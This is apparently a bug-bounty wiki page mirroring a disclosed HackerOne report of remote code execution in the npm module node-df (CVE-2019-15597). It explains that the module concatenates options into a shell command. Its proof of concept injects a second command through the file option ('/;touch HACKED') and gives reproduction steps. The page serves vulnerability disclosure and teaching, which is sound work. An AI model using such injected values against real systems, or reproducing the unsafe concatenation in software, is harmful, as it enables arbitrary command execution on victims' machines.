Skip to content
RCE Disclosed report Beginner CVE-2019-15597

[node-df] RCE via insecure command concatenation

The node-df module builds a shell command by joining user-supplied options, including the file path, without validation. An attacker who can control those options can run arbitrary commands on the victim's machine.

mik317 Follow

Originally disclosed on HackerOne

High 8.4 View original
  • Triaged in 25 hours
  • Fixed in 2 months
  • Disclosed after 2 months

I would like to report a RCE issue in the node-df module. It allows to execute arbitrary commands remotely inside the victim's PC

Module

module name: node-df version: 0.1.4 npm page: https://www.npmjs.com/package/node-df

Module Description

node-df (abbreviation of disk free) is a cross-platform Node.js wrapper around the standard Unix computer program, df.

Module Stats

[N/A] downloads in the last day [3,023] downloads in the last week [N/A] downloads in the last month

Vulnerability Description

The issue occurs because a user input is concatenated inside a command that will be executed without any check. The issue arises here:

Steps To Reproduce:

  1. Create the following PoC file:
JavaScript
// poc.js
var df = require('node-df');
var options = {
        file: '/;touch HACKED',
        prefixMultiplier: 'GB',
        isDisplayPrefixMultiplier: true,
        precision: 2
    };
 
df(options, function (error, response) {
    if (error) { throw error; }
 
    console.log(JSON.stringify(response, null, 2));
});
  1. Execute the following commands in terminal:
Bash
npm i node-df # Install affected module
ls # Make sure there isn't any *HACKED* file
node poc.js #  Run the PoC
ls # The *HACKED* file has been created
  1. The HACKED file will be created
    Screencast_09-28-2019_09_11_28_AM.webm From the original on HackerOne

Patch

Don't concatenate commands using insecure user's inputs :)

Supporting Material/References:

  • [OPERATING SYSTEM VERSION]: Kali Linux

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Impact

RCE on node-df via insecure command concatenation

The original report as published on HackerOne, by mik317. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the module concatenates user-controlled option values into a shell command string instead of passing them as separate arguments or escaping them.

Impact

An attacker who controls the options passed to the module could execute arbitrary commands on the victim's machine.

What the attacker needed

Attacker controls options passed to node-df; victim runs code using the module

How it was found

  1. Install the affected node-df module.
  2. Confirm no file named HACKED exists in the working directory.
  3. Run the proof-of-concept script that passes a crafted file option.
  4. Check the directory again and observe that the HACKED file was created.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This library runs the Unix disk-free program for you. It pastes whatever file path you give it straight into a shell command, so extra shell syntax in that path is treated as another command. That means someone who controls the input can make the computer run their own commands.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by mik317

View all

23 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.